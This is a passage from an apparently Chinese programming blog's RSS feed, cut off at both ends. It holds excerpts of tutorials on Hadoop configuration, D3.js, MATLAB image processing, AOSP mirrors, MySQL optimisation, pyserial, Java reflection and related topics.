etc/hadoop/hdfs-site.xml 编辑内容如下：&#xA;&amp;lt;configuration&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.replication&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;1&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;/configuration&amp;gt; 8、此时，hdfs的配置已经完成。可以开启namenode 、secondarynomenode、datanode了。此时，hadoop-2.7.1建议我们使用hdfs而不是hadoop脚本，而且部分hdfs的操作放在sbin目录的脚本里面。所以：&#xA;#格式化namenode bin/hdfs namenode -format #开启hdfs的相关节点 sbin/start-dfs.sh #关闭hdfs节点 sbin/stop-dfs.sh 可以使用浏览器url：localhost:50070进行web查看管理。&#xA;9、配置yarn计算框架（算是Map/Reduce的升级版）&#xA;打开etc/hadoop/mapred-queues.xml.template&#xA;sudo gedit etc/hadoop/mapred-queues.xml.template 编辑内容如下：</description>
    </item>
    <item>
      <title>【D3.js数据可视化实战】--（2）本地时间轴</title>
      <link>https://bchobby.github.io/posts/e1081eea4eb056dc45519152d13809dd/</link>
      <pubDate>Wed, 21 Oct 2015 20:18:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1081eea4eb056dc45519152d13809dd/</guid>
      <description>背景需求绘制效果实现思路关键技术完整代码 背景需求 使用D3绘制图表一般都会绘制一个坐标轴，但是用D3画过图的同学都知道默认情况下绘制的坐标轴刻度是英文的。但是我们要的刻度是中文的。怎么办呢？且看本文讲解如何绘制本地时间轴。&#xA;绘制效果 实现效果如何，先来一睹为快！&#xA;默认格式化： d3.time.format(&#34;%b %Y&#34;) 本地格式化： zh.timeFormat(&#34;%Y年%b&#34;) 实现思路 思路很简单：&#xA;定义简体中文本地化用本地时间格式化函数格式化数轴的刻度值 关键技术 定义新的简体中文本地化 //简体中文本地化 var zh = d3.locale({ decimal: &#34;.&#34;, thousands: &#34;,&#34;, grouping: [3], currency: [&#34;¥&#34;, &#34;&#34;], dateTime: &#34;%a %b %e %X %Y&#34;, date: &#34;%Y/%-m/%-d&#34;, time: &#34;%H:%M:%S&#34;, periods: [&#34;上午&#34;, &#34;下午&#34;], days: [&#34;星期日&#34;, &#34;星期一&#34;, &#34;星期二&#34;, &#34;星期三&#34;, &#34;星期四&#34;, &#34;星期五&#34;, &#34;星期六&#34;], shortDays: [&#34;星期日&#34;, &#34;星期一&#34;, &#34;星期二&#34;, &#34;星期三&#34;, &#34;星期四&#34;, &#34;星期五&#34;, &#34;星期六&#34;], months: [&#34;一月&#34;, &#34;二月&#34;, &#34;三月&#34;, &#34;四月&#34;, &#34;五月&#34;, &#34;六月&#34;, &#34;七月&#34;, &#34;八月&#34;, &#34;九月&#34;, &#34;十月&#34;, &#34;</description>
    </item>
    <item>
      <title>MATLAB数字图像处理（二）直方图</title>
      <link>https://bchobby.github.io/posts/65aad7abc942dbd63944acf14ff74f16/</link>
      <pubDate>Wed, 14 Oct 2015 20:33:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65aad7abc942dbd63944acf14ff74f16/</guid>
      <description>（一） 绘制直方图 概念：这里的直方图，主要指图像灰度直方图，它在图像处理中有一定的应用。比如用直方图均衡来增强图像的对比度。 图像灰度直方图：一副数字图像有[0~255]灰度级，直方图定义如下： h(gk)=nk 其中， gk 是第k个灰度级（如：255）， nk 是该灰度级的个数。 归一化直方图定义如下: p(gk)=h(gk)n=nkn 即：第k个灰度级出现的数量，比上所有灰度级数量总和。&#xA;MATLAB中绘制图像灰度直方图： 函数imhist()： h=imhist(img,b); 其中:img是输入图像，b是容器，容器简单说就是分几块显示。设置2，则分成两块显示。设置3，则3块。默认为256即256个灰度级。 若要得到归一化后的图像，那么可利用如下语句。 h_normal=imhist(img,b)/numel(img); 其中numel(img)是求出所有灰度级数量总和，即图像总像素数。 接下来，让我们实际生成一副直方图。 代码如下:&#xA;f=imread(&#39;Moon Phobos.tif&#39;);%读入图片 imhist(f)%图像 直方图 axis([0 255 0 6000])%设置x、y轴坐标范围 通过直方图我们可以看书，图像的灰度级主要集中在两端，分布不够均匀，造成了原图较暗的部分看不清楚。下面将利用直方图均衡化，解决该问题。&#xA;（二）直方图均衡化 直方图均衡化的概念,其实很简单，具体概念就不说了。直接说个人理解。 将 设有 图像共有4个灰度级且归一化，为1/4占50个，2/4占50个，3/4占100个，1占50个。直方图归一化1/4~0.2，2/4~0.2,3/4~0.4，1~0.2。 首先1/4灰度级为， s1 =0.2，约等于1/4，即灰度级为1/4的对应0.2。 2/4灰度级, s2 =0.2+0.2，等于1/2，即灰度级为1/2的对应0.2。 3/4灰度级， s3 =0.2+0.2+0.4，等于1，即灰度级为1的对应0.4（3/4的灰度级）。 1灰度级 ， s4 =0.2+0.2+0.4+0.2=1，等于1，即灰度级为1的对应0.4+0.2=0.6。 最后求解的灰度级为1/4~0.2，2/4~0.2，1~0.6。 在MATLAB中，函数histeq(f,nlev)可以完成此功能。其中个f为输入图像，nlev为输出图像灰度级。 实例如下:&#xA;f=imread(&#39;Moon Phobos.tif&#39;); figure,imshow(f),title(&#39;原图&#39;); figure,imhist(f),title(&#39;直方图&#39;) g=histeq(f,256); figure,imshow(g),title(&#39;增强后&#39;); figure,imhist(g),title(&#39;直方图均衡&#39;); 可以看到，原来有些背面看不见的纹路也可以用观察到了。</description>
    </item>
    <item>
      <title>MATLAB数字图像处理（一）图像的基本操作</title>
      <link>https://bchobby.github.io/posts/d0dc14bd9c42a41d1d3221868f82c05f/</link>
      <pubDate>Mon, 12 Oct 2015 19:47:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0dc14bd9c42a41d1d3221868f82c05f/</guid>
      <description> 写在前头：说到数字图像处理，不得不提起MATLAB。这是一款非常方便的仿真软件，绝大多数的图像处理可以用MATLAB完成。 有人问，处理图片，用PS岂不是更好。两者各有优点，如果需要将1００００幅图片转换成灰度图像并保存呢？MATLAB只需要一段很短的程序运行几秒就可以完成这个工作。 本文基于MatlabR2012a，将由浅入深写下去。&#xA;MATLAB中图像的基本操作 1、读取、显示图片 MATLAB中提供了immread()与imshow（）函数读取和显示图片。其中读取函数imread（）原型： imread： A = imread(filename, fmt) A是结构体名，用来存储读入的图像数据。filename是读取的文件名，文件名要用”括起来。fmt是读取文件的类型如：jpg、png等等，这个参数可以不输入，由MATLAB自动判断。 显示函数imshow()原型：&#xA;imshow： imshow(I) I为读取后保存在MATLAB中的结构体名。 程序实例：　A=imread(&#39;1.jpg&#39;);％读取名为１．ｊｐｇ的图片 imshow(A)％显示图片 ２、将灰度图片变成负片 对图像进行操作，实际上是将图像看成许多个像素点，对每个像素点进行操作。在计算机系统中，灰度图片被看成是许多个由值在［０～２５５］之间的像素点组成的图像，２５５表示白色，０表示黑色，黑白之间存在２５６个灰度级。 负片是指将原灰度图白色的地方变成黑色，黑色的地方变成白色。也就是将０变成２５５，２５５变成０。ＭＡＬＴＡＢ的ｉｍａｄｊｕｓｔ（）函数提供了该功能。其函数原型：　imadjust： J = imadjust(I,[low_in; high_in],[low_out; high_out]) 其中，Ｉ为原灰度图像，ｌｏｗ＿ｉｎ，ｈｉｇｈ＿ｉｎ为输入图像的低和高灰度级，设置为［０，１］表示从０～２５５的归一化，ｌｏｗ＿ｏｕｔ，ｈｉｇｈ＿ｏｕｔ为输出图像的低高灰度级。 若是想将图片转换为负片，那么将[low_in; high_in]设置为［０，１］，将[low_out; high_out]设置为［１，０］。即原来输入为０的地方变成１输出，输入为１的地方变成０输出。 实例：　A=imread(&#39;1.jpg&#39;); imshow(A)％显示原图 A1=imadjust(A,[0,1],[1,0]);％将灰度级对调 figure,imshow(A1)％显示负片 ３、彩色图片转换成灰度图片 我们在计算机中看到的大多数彩色图片是基于ＲＢＧ三通道的图片，红绿蓝三种颜色，每一种取值均为［０～２５５］。通过２５５＊２５５＊２５５，可以构成庞大的颜色群。而灰度图像只有２５６个灰度级。通过以下公式可以将ＲＧＢ转换成灰度 ＧＲＡＹ＝0.2989 R + 0.5870 * G + 0.1140 * B* ＭＡＴＬＡＢ中提供的函数ｒｇｂ２ｇｒａｙ为我们提供了将彩色图片转换成灰度图片的功能。函数原型：　I = rgb2gray(RGB) 实例：&#xA;A=imread(&#39;001.png&#39;);％原彩色图片 imshow(A) A_gray=rgb2gray(A);％转换成灰度图片 figure,imshow(A_gray) </description>
    </item>
    <item>
      <title>Android 源码镜像</title>
      <link>https://bchobby.github.io/posts/0bcec4e95d517743d06041fa4398f389/</link>
      <pubDate>Fri, 09 Oct 2015 15:21:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bcec4e95d517743d06041fa4398f389/</guid>
      <description>https://lug.ustc.edu.cn/wiki/mirrors/help/aosp&#xA;Android 镜像使用帮助 按照 Google 官方教程 https://source.android.com/source/downloading.html&#xA;将 https://android.googlesource.com/platform/manifest 替换为 git://mirrors.ustc.edu.cn/aosp/platform/manifest。&#xA;具体做法摘录如下（以防墙抽风）：&#xA;首先下载 repo 工具。&#xA;mkdir ~/bin PATH=~/bin:$PATH curl https://storage.googleapis.com/git-repo-downloads/repo &amp;gt; ~/bin/repo ## 如果上述 URL 不可访问，可以用下面的： ## curl https://storage-googleapis.lug.ustc.edu.cn/git-repo-downloads/repo &amp;gt; ~/bin/repo chmod a+x ~/bin/repo 然后建立一个工作目录（名字任意）&#xA;mkdir WORKING_DIRECTORY cd WORKING_DIRECTORY 初始化仓库：&#xA;repo init -u git://mirrors.ustc.edu.cn/aosp/platform/manifest ## 如果提示无法连接到 gerrit.googlesource.com，可以编辑 ~/bin/repo，把 REPO_URL 一行替换成下面的： ## REPO_URL = &#39;https://gerrit-googlesource.lug.ustc.edu.cn/git-repo&#39; 如果需要某个特定的 Android 版本（Android 版本列表）：&#xA;repo init -u git://mirrors.ustc.edu.cn/aosp/platform/manifest -b android-4.0.1_r1 同步源码树（以后只需执行这条命令来同步）：&#xA;repo sync 已有仓库如何改用科大源 如果您已经从官方同步了 AOSP 仓库，现在希望使用科大的 AOSP 仓库，请修改 .</description>
    </item>
    <item>
      <title>james 安装</title>
      <link>https://bchobby.github.io/posts/c029f277eb9c227fc36ec9620929f391/</link>
      <pubDate>Thu, 08 Oct 2015 23:32:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c029f277eb9c227fc36ec9620929f391/</guid>
      <description>James3.x Apache James（Java Apache Mail Enterprise Server）是Apache组织的子项目之一，完全采用纯Java技术开发，实现了SMTP、POP3与NNTP等多种邮件相关协议。 目前James有稳定版还stable版本2.3.2和beta版beta3.James2.x版本开发于Avalon（Java Apache Server Framework）框架之上，James3.x开发自Spring框架之上。同时为了解决性能问题，在James3.x上加入Queue机制（ActiveMQ）进行邮件的异步处理。同时3.x配置文件对2.x的配置文件进行了拆分，故James2.x和James3.x有较大的区别。本文将以项目中使用的版本James Server 3.0-beta3的环境配置进行描述。 一、简单安装 1.OS：Ubuntu11.04 2.JDK1.6+，(jdk-6u26-linux-i586.bin) a.将jdk安装到usr下面： /usr/jdk1.6.0_26/ b.配置/etc/profile,如下： Java代码 export JAVA_HOME=/usr/jdk1.6.0_26 export CLASSPATH=$CLASSPATH:$JAVA_HOME/lib:$JAVA_HOME/jre/lib export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH:$HOME/bin c.使配置文件生效： Java代码 root@master# source /etc/profile d.校验： Java代码 root@master:/# java -version java version &#34;1.6.0_26&#34; Java(TM) SE Runtime Environment (build 1.6.0_26-b03) Java HotSpot(TM) Client VM (build 20.1-b02, mixed mode) root@master:/# 3. James3 安装 a.下载:james-3.0-beta3| http://apache.etoak.com//james/apache-james/3.0beta3/apache-james-3.0-beta3-app.tar.gz b.解压并将解压的文件cp到要安装的路径 Java代码 tar -zxvf apache-james-3.0-beta3-app.tar.gz root@master#: cp -rf apache-james-3.0-beta3 /opt/james3.0 c.</description>
    </item>
    <item>
      <title>MySQL之SQL分析三部曲实际案例</title>
      <link>https://bchobby.github.io/posts/92200b3d47168de8bf8a86b8558472e0/</link>
      <pubDate>Wed, 07 Oct 2015 17:53:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92200b3d47168de8bf8a86b8558472e0/</guid>
      <description>------------------------------------------------------------正文------------------------------------------------------------ 由于是生产环境下进行的，截图和SQL都隐去了一些信息 背景：有用户在抱怨生产系统上，某一个Web的页面太慢，忍无可忍 问题分析过程：略 问题聚焦：最终确定是某一个SQL语句太慢，查询时间用了4s（慢查询日志给出的信息） 罪魁祸首的SQL语句：&#xA;select col1,col2......colN from tom inner join toa on tom.id = toa.id left join tov on tom.id = tov.id inner join toi on tom.id = toi.id left join fo on tom.stype = 2 and fo.id = tom.id WHERE ( tom.ostatus = 1 and tom.sid in ( 1 , 2 , 3) and tom.ptime &amp;gt;= &#39;2333-01-01 09:41:58.056&#39; and tom.ptime &amp;lt;= &#39;2333-02-01 09:41:58.056&#39; and tom.otype != 2 and toi.</description>
    </item>
    <item>
      <title>MySQL索引选择不正确并详细解析OPTIMIZER_TRACE格式</title>
      <link>https://bchobby.github.io/posts/30f06febaf2641d42df6efe67b216b94/</link>
      <pubDate>Wed, 07 Oct 2015 17:44:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30f06febaf2641d42df6efe67b216b94/</guid>
      <description>一 表结构如下: CREATE TABLE t_audit_operate_log (&#xA;Fid bigint(16) AUTO_INCREMENT,&#xA;Fcreate_time int(10) unsigned NOT NULL DEFAULT &#39;0&#39;,&#xA;Fuser varchar(50) DEFAULT &#39;&#39;,&#xA;Fip bigint(16) DEFAULT NULL,&#xA;Foperate_object_id bigint(20) DEFAULT &#39;0&#39;,&#xA;PRIMARY KEY (Fid),&#xA;KEY indx_ctime (Fcreate_time),&#xA;KEY indx_user (Fuser),&#xA;KEY indx_objid (Foperate_object_id),&#xA;KEY indx_ip (Fip)&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8;&#xA;执行查询:&#xA;mysql&amp;gt; explain select count(*) from t_audit_operate_log where Fuser=&#39;XX@XX.com&#39; and Fcreate_time&amp;gt;=1407081600 and Fcreate_time&amp;lt;=1407427199\G&#xA;*************************** 1. row ***************************&#xA;id: 1&#xA;select_type: SIMPLE&#xA;table: t_audit_operate_log</description>
    </item>
    <item>
      <title>eq_range_index_dive_limit决定COST估算方式</title>
      <link>https://bchobby.github.io/posts/dc798efb86cea86c707f7455e5a75b38/</link>
      <pubDate>Wed, 07 Oct 2015 11:28:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc798efb86cea86c707f7455e5a75b38/</guid>
      <description>在MySQL的官方手册上有这么一句话:&#xA;the optimizer can estimate the row count for each range using dives into the index or index statistics.&#xA;这是在说: 优化器为每一个范围段(如“a IN (10, 20, 30)”是等值比较, 括3个范围段实则简化为3个单值,分别是10,20,30)估计每个范围段（用范围段来表示是因为MySQL的“range”扫描方式多数做的是范围扫描，此处单值可视为范围段的特例）中包括的元组数, 而估计方法有2种,一是dive到index中即利用索引完成元组数的估算,简称index dive; 二是使用索引的统计数值,进行估算：&#xA;相比这2种方式,在效果上:&#xA;1 index dive: 速度慢,但能得到精确的值（MySQL的实现是数索引对应的索引项个数，所以精确）&#xA;2 index statistics: 速度快,但得到的值未必精确&#xA;简单说，选项 eq_range_index_dive_limit 的值设定了 IN列表中的条件个数上线，超过设定值时，会将执行计划从 1 变成 2。&#xA;为什么要区分这2种方式呢?&#xA;简单地说:&#xA;1 查询优化器使用代价估算模型计算每个计划的代价,选择其中代价最小的&#xA;2 单表扫描时,需要计算代价;所以单表的索引扫描也需要计算代价&#xA;3 单表的计算公式通常是:代价=元组数*IO平均值&#xA;4 所以不管是哪种扫描方式,都需要计算元组数&#xA;5 当遇到“a IN (10, 20, 30)”这样的表达式的时候，发现a列存在索引，则需要看这个索引可以扫描到的元组数由多少而计算其索引扫描代价，所以就用到了本文提到的“index dive”、“index statistics”这2种方式。&#xA;MySQL据此，提供了一个参数“eq_range_index_dive_limit”，指示MySQL在这种情况下使用哪种方式。用法如下：&#xA;This variable indicates the number of equality ranges in an equality comparison condition when the optimizer should switch from using index dives to index statistics in estimating the number of qualifying rows.</description>
    </item>
    <item>
      <title>VS2008 C&#43;&#43;数组定义上限</title>
      <link>https://bchobby.github.io/posts/5c0822e2547cf7d51003c739eaaa03f4/</link>
      <pubDate>Mon, 28 Sep 2015 15:57:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c0822e2547cf7d51003c739eaaa03f4/</guid>
      <description>今天，在新建的MFC单文档应用程序中，在函数里面定义了一个double型数组，大小是512*512，程序编译可以通过，但是一运行就出现“未处理的异常: 0xC0000005: 读取位置 0x00560000 时发生访问冲突。”缩小数组大小为100*100，可以正常运行。这是什么原因呢？&#xA;网上百度了一下，原来是因为数组定义在函数体内部，其空间大小是在堆栈区进行分配的，数组过大会造成堆栈溢出，堆栈空间有限。将数组定义在全局数据区，就没有问题了。&#xA;试着在将double型数组定义为全局变量，大小512*512，编译顺利通过，运行也能成功。&#xA;原来如此，学习了，Mark一下。&#xA;——每天进步一点点，学习一点点，终有一天，可以成为大神。（来自编程小白）</description>
    </item>
    <item>
      <title>python中pyserial模块使用方法</title>
      <link>https://bchobby.github.io/posts/c2063b3d7a84392e0655f6a9238fbc57/</link>
      <pubDate>Fri, 25 Sep 2015 10:41:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2063b3d7a84392e0655f6a9238fbc57/</guid>
      <description>一、概述 pyserial模块封装了对串口的访问。 二、特性 在支持的平台上有统一的接口。 通过python属性访问串口设置。 支持不同的字节大小、停止位、校验位和流控设置。 可以有或者没有接收超时。 类似文件的API，例如read和write，也支持readline等。 支持二进制传输，没有null消除，没有cr-lf转换。 三、系统要求 python 2.3及以上版本，包括py3k。 四、使用方法和实例&#xA;1、导入pyserial模块&#xA;import serial&#xA;2、打开串行口&#xA;// 打开串口0， 9600，8N1，连接超时0.5秒 import serial ser=serial.Serial(&#34;/dev/ttyUSB0&#34;,9600,timeout=0.5) #使用USB连接串行口 ser=serial.Serial(&#34;/dev/ttyAMA0&#34;,9600,timeout=0.5) #使用树莓派的GPIO口连接串行口 ser=serial.Serial(1,9600,timeout=0.5) #winsows系统使用com1口连接串行口 ser=serial.Serial(&#34;com1&#34;,9600,timeout=0.5) #winsows系统使用com1口连接串行口 ser=serial.Serial(&#34;/dev/ttyS1&#34;,9600,timeout=0.5) #Linux系统使用com1口连接串行口 print ser.name #打印设备名称 print ser.port #打印设备名 ser.open () #打开端口 s = ser.read(10) #从端口读10个字节 ser.write(&#34;hello&#34;) #向端口些数据 ser.close() #关闭端口 data = ser.read(20) #是读20个字符&#xA;data = ser.readline() #是读一行，以/n结束，要是没有/n就一直读，阻塞。&#xA;data = ser.readlines()和ser.xreadlines() #都需要设置超时时间&#xA;ser.baudrate = 9600 #设置波特率&#xA;ser.isOpen() #看看这个串口是否已经被打开&#xA;3、获得串行口状态 串行口的属性： name:设备名字 portstr:已废弃，用name代替 port：读或者写端口 baudrate：波特率 bytesize：字节大小 parity：校验位 stopbits：停止位 timeout：读超时设置 writeTimeout：写超时 xonxoff：软件流控 rtscts：硬件流控 dsrdtr：硬件流控 interCharTimeout:字符间隔超时 属性的使用方法： ser=serial.</description>
    </item>
    <item>
      <title>JPA-DATA学习</title>
      <link>https://bchobby.github.io/posts/6635c93208d5c3fb063a33db0cb204fa/</link>
      <pubDate>Wed, 23 Sep 2015 12:23:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6635c93208d5c3fb063a33db0cb204fa/</guid>
      <description>And --- 等价于 SQL 中的 and 关键字，比如 findByUsernameAndPassword(String user, Striang pwd)；Or --- 等价于 SQL 中的 or 关键字，比如 findByUsernameOrAddress(String user, String addr)；Between --- 等价于 SQL 中的 between 关键字，比如 findBySalaryBetween(int max, int min)；LessThan --- 等价于 SQL 中的 &#34;&amp;lt;&#34;，比如 findBySalaryLessThan(int max)；GreaterThan --- 等价于 SQL 中的&#34;&amp;gt;&#34;，比如 findBySalaryGreaterThan(int min)；IsNull --- 等价于 SQL 中的 &#34;is null&#34;，比如 findByUsernameIsNull()；IsNotNull --- 等价于 SQL 中的 &#34;is not null&#34;，比如 findByUsernameIsNotNull()；NotNull --- 与 IsNotNull 等价；Like --- 等价于 SQL 中的 &#34;like&#34;，比如 findByUsernameLike(String user)；NotLike --- 等价于 SQL 中的 &#34;</description>
    </item>
    <item>
      <title>LibMMSeg</title>
      <link>https://bchobby.github.io/posts/e59d40114989ddab756302eb8f381621/</link>
      <pubDate>Tue, 22 Sep 2015 17:59:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e59d40114989ddab756302eb8f381621/</guid>
      <description>转自：http://www.coreseek.cn/opensource/mmseg/#coreseek_mmseg_complex 感谢，为了方便学习 LibMMSeg 简介 LibMMSeg 是Coreseek.com为 Sphinx 全文搜索引擎设计的中文分词软件包，其在GPL协议下发行的中文分词法，采用Chih-Hao Tsai的MMSEG算法。&#xA;MMSEG: A Word Identification System for Mandarin Chinese Text Based on Two Variants of the Maximum Matching Algorithm&#xA;Published: 1996-04-29&#xA;Updated: 1998-03-06&#xA;Document updated: 2000-03-12&#xA;License: Free for noncommercial use&#xA;Copyright 1996-2006 Chih-Hao Tsai (Email: hao520 at yahoo.com ) 您可以在Chih-Hao Tsai&#39;s Technology Page找到算法的原文。 LibMMSeg 采用C++开发，同时支持Linux平台和Windows平台，切分速度大约在500K/s（酷睿 2.4G）；截至目前版本LibMMSeg没有为速度做过特殊优化，进一步的提升切分速度仍有空间。&#xA;下载 下载 Coreseek-3.2.14+MMSeg 3.2.14，mmseg-3.2.14.tar.gz&#xA;mmseg for node.js MMSeg 的 Node.js 插件，由 zzdhidden 开发。 https://github.com/zzdhidden/mmseg-node</description>
    </item>
    <item>
      <title>ubuntu 启动项创建器  选择不了CD镜像,IOS镜像的解决方法</title>
      <link>https://bchobby.github.io/posts/f2b45c97d3cd9dcbc84b2779694d8696/</link>
      <pubDate>Thu, 17 Sep 2015 17:56:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2b45c97d3cd9dcbc84b2779694d8696/</guid>
      <description>自己系统是ubuntu14.04 , 想使用 ubuntu自带的启动项创建器(usb-creator-gtk)做一个CDLinux的U盘启动项, 打开程序后发现U盘识别了, 在添加镜像的时候,发现怎么也添加不上,很是不解, google 和百度上都没有这样的问题,&#xA;can&#39;t select ISO.&#xA;后来再ubuntu社区里找到了答案:&#xA;有人说这个制作u盘启动 的工具只能识别ubuntu的镜像包, 不能识别其他的类型的镜像,我亲自试了下,果然不行,比如centos ,fedora,windows 当然 CDLinux的也不行.&#xA;这方面 此软件做的不行呀,也没有个提示之类的,让用户用的莫名其妙的~~~~~&#xA;所以只有找其他工具来制作这个u盘启动了&#xA;这里提供一种方法:&#xA;使用unetbootin sudo apt-get install unetbootin</description>
    </item>
    <item>
      <title>windows 彻底删除360文件 360zipext.dll 等等</title>
      <link>https://bchobby.github.io/posts/6280f4b48e9c38cf83c91d8eee1762cb/</link>
      <pubDate>Thu, 17 Sep 2015 17:54:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6280f4b48e9c38cf83c91d8eee1762cb/</guid>
      <description>360的软件 老是在我不知道的情况下安装360卫士和360浏览器 妈...的 恶心死我了.. 用QQ管家粉碎也弄不了 比如360zipext.dll,360UDiskGuard64.dll等,怎么也删不了&#xA;一个方法:&#xA;1 .用windows资源管理器找到你要删除的文件的地址 地址栏复制一下&#xA;2 .Windows 任务管理器 进程里 找到explorer.exe 点击 右键结束进程 这是没桌面了 不要担心&#xA;3 .按 win+R ,进入cmd 复制这个地址 cd d:\360\... 回车 然后d:回车 进入那个文件夹的当前位置 dir一下 可以看到要删除的文件&#xA;4 .del 文件名 或者del *.*&#xA;5 .然后再win+R 键入explorer 桌面又回来了 ok</description>
    </item>
    <item>
      <title>SAP客户标准信用额度修改和创建</title>
      <link>https://bchobby.github.io/posts/1ee4ef035154b39d52db57ce94602a10/</link>
      <pubDate>Thu, 17 Sep 2015 10:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ee4ef035154b39d52db57ce94602a10/</guid>
      <description>好吧，前提要说一下，信贷是到客户的信贷范围级别的。&#xA;FUNCTION zfm_credit. *&#34;---------------------------------------------------------------------- *&#34;*&#34;本地接口： *&#34; TABLES *&#34; T_TAB STRUCTURE ZJKS001 OPTIONAL *&#34; T_TAB_I STRUCTURE ZJKS002 OPTIONAL *&#34;---------------------------------------------------------------------- DATA:gs_zsds001 TYPE zsds001. DATA:gs_zsds002 TYPE zsds002. DATA:lv_func TYPE char50.&#34;结构ID DATA:s_tab TYPE zjks001.&#34;表头结构 DATA:s_tab_i TYPE zjks002.&#34;表体结构 DATA:gt_table TYPE ddfields, gs_table TYPE dfies. DATA:gs_knka TYPE knka, gs_knkk TYPE knkk, gv_knka TYPE knka, gv_knkk TYPE knkk, gv_upd TYPE cdpos-chngind. DATA:gv_name1 TYPE kna1-name1. DATA:gt_kna1 TYPE TABLE OF zsknb1, gs_kna1 TYPE zsknb1. DATA:lv_line TYPE i. DATA:gs_zsds003 TYPE zsds003.</description>
    </item>
    <item>
      <title>Java反射之 getMethod() 与invoke的使用</title>
      <link>https://bchobby.github.io/posts/997bafc831ea86920e695c03a21a56b3/</link>
      <pubDate>Wed, 16 Sep 2015 14:08:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/997bafc831ea86920e695c03a21a56b3/</guid>
      <description>1、forName 方法&#xA;forName是一个静态方法，其作用：通过调用来获取类名对应的Class对象，同时将Class对象加载进来。&#xA;如果将类名保存在字符串（如xml）中，就可以在程序运行时，动态调用加载。&#xA;注意：只有调用的参数是类名或者方法时，才可用。&#xA;2、newInstance()方法&#xA;作用：将对象实例化。返回类型为Object。与new的区别在于，new可以带参，而newInstance（）不可以，一边初始化无参类。通常与forName()配合使用。&#xA;例：&#xA;String str = &#34;java.util.Date&#34;; Class cl1= Class.forName(str);//加载java.util.Date类 Object obj = cl1.newInstance();//实例化cl1 3、getMethod()方法 getMethod方法与getField方法类似，getField方法根据表示域名的字符串，返回一个Field对象。而getMethod方法则根据方法名称和相关参数，来定位需要查找的Method对象并返回。&#xA;getMethod与getDeclareMethods方法的区别在于，后者返回一个Method对象数组，需要自己在结果中查找所需Method对象。&#xA;原型： Method getMethod(String name,Class...parameterTypes)&#xA;参数解释：name： method的名称&#xA;parameterTypes：method的参数类型的列表（参数顺序需按声明method时的参数列表排列）&#xA;返回：符合method名称和参数的method对象&#xA;抛出错误：NoSuchMethodException 原因：没有找到所要查询的Method对象 或 Method名称为“&amp;lt;init&amp;gt;”或“&amp;lt;clinit&amp;gt;”&#xA;NullPointerException&#xA;原因：所要查询的Method对象的名称为null&#xA;SecurityException&#xA;原因：调用的类或其父类没有调用权限&#xA;例：&#xA;Method m1 = Employee.class.getMethod(&#34;getName&#34;); Method m2 = Employee.class.getMethod(&#34;raiseSalary&#34;,double.class); 上面例子分别获得了Employee类的getName方法和raiseSalary方法的 方法指针m1,m2。 4、invoke方法&#xA;作用：调用包装在当前Method对象中的方法。&#xA;原型：Object invoke（Object obj,Object...args）&#xA;参数解释：obj：实例化后的对象&#xA;args：用于方法调用的参数&#xA;返回：根据obj和args调用的方法的返回值&#xA;抛出错误：IllegalAccessException&#xA;原因：Method对象强制Java语言执行控制 或 无权访问obj对象&#xA;IllegalArgumentException&#xA;原因：方法是实例化方法，而指定需要调用的对象并不是实例化后的类或接口&#xA;例：&#xA;Class l = Class.forName(&#34;test1.A&#34;); Object obj1 = l.</description>
    </item>
    <item>
      <title>由Java里static引发的感受</title>
      <link>https://bchobby.github.io/posts/84a0e204c45d1a6bcf492c4c8c847f9a/</link>
      <pubDate>Fri, 11 Sep 2015 15:52:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84a0e204c45d1a6bcf492c4c8c847f9a/</guid>
      <description> &amp;lt;span style=&#34;font-family: Arial, Helvetica, sans-serif; background-color: rgb(255, 255, 255);&#34;&amp;gt;市面上各种所谓的Java宝典和Java学习书籍对static的理解可谓是各有千秋啊，有的人说不该翻译为静态变量，他和静态没有关系，他的实质就是属于类本身的。有的人说，翻译的对，就该叫“静态”。于是乎，这些人都互相文字攻击，声称自己理解的透彻。&amp;lt;/span&amp;gt; 谈观点之前，有个前提，如果你是什么计算机基础的人都没有，涉足计算机这个行业，不管是软件也好还是硬件也罢，要想混的久远，那么就不要浮躁，不要以为会用Java编写个小项目就精通Java，不要以为高级语言已掌握，打遍天下都不怕。其实你只是个“工程师”这三个字里第一个字“工”，就好比你会砌砖砌瓦，你会用米尺丈量房屋建造过程中的各种方式等等，你只是混在行业的底层。我认为真正的想在行业混的人，就不该去质疑要不要学《数据结构和算法分析》，《计算机组成原理》，《编译原理》，《操作系统》，《计算机网络》，更不要总在论坛问来问去这个难不难要不要学......之类的话。没人帮了你职业未来，你想混的好，就不要有这么多问题，你有这会儿担忧的功夫都已经把数据结构第一章学完了。如果再犹豫几天，你本应有时间把接下来的几章都过一遍了，犹豫什么啊？&#xA;为什么考软件或者计算机之类的研究生的时候以上几门课都会成为初试的科目？又为什么出去好点的大公司面试的时候都先考考你以上几门专业课的知识？而后才看看你用哪些高级语言做过些什么项目经历，开发过什么类型的项目等等。就是因为他们的重要好比盖房子的“砖瓦“。这些知识点相互联系交叉，都要学到融会贯通的程度才行。修炼出来后你学高级语言也好，学高级数据库也罢，都是相当高效的。简单具体例子。我同学好多是本科其他专业，研究生转入本行业，刚刚开始就上手Java编程，对那些稍微专业点的术语都感觉步履维艰，再加上稍微涉及点内存分析的知识，就已经要被打败了，于是乎他一遍又一遍地学，看视频。我想说，你在看10遍，100遍视频也学不好，送他四个字：空中楼阁。你懂得。&#xA;作为初学者的我（本科计算机